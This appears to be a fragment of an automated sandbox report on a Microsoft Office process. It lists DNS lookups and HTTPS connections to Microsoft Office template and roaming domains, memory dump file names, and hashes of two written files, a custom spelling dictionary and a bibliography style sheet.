Country Destination Domain Proto
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 27.73.42.20.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 104.91.71.213:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
GB 104.77.160.196:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 213.71.91.104.in-addr.arpa udp
US 8.8.8.8:53 196.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 181.129.81.91.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp

Files

memory/1000-0-0x00007FF856DB0000-0x00007FF856DC0000-memory.dmp

memory/1000-1-0x00007FF896DCD000-0x00007FF896DCE000-memory.dmp

memory/1000-2-0x00007FF856DB0000-0x00007FF856DC0000-memory.dmp

memory/1000-3-0x00007FF856DB0000-0x00007FF856DC0000-memory.dmp

memory/1000-5-0x00007FF856DB0000-0x00007FF856DC0000-memory.dmp

memory/1000-6-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-4-0x00007FF856DB0000-0x00007FF856DC0000-memory.dmp

memory/1000-8-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-7-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-12-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-13-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-11-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-15-0x00007FF854450000-0x00007FF854460000-memory.dmp

memory/1000-14-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-17-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-18-0x00007FF854450000-0x00007FF854460000-memory.dmp

memory/1000-16-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-10-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-9-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

MD5 d29962abc88624befc0135579ae485ec
SHA1 e40a6458296ec6a2427bcb280572d023a9862b31
SHA256 a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
SHA512 4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

memory/1000-36-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-38-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

memory/1000-37-0x00007FF896DCD000-0x00007FF896DCE000-memory.dmp

memory/1000-42-0x00007FF896D30000-0x00007FF896F25000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCD2630.tmp\sist02.xsl

MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e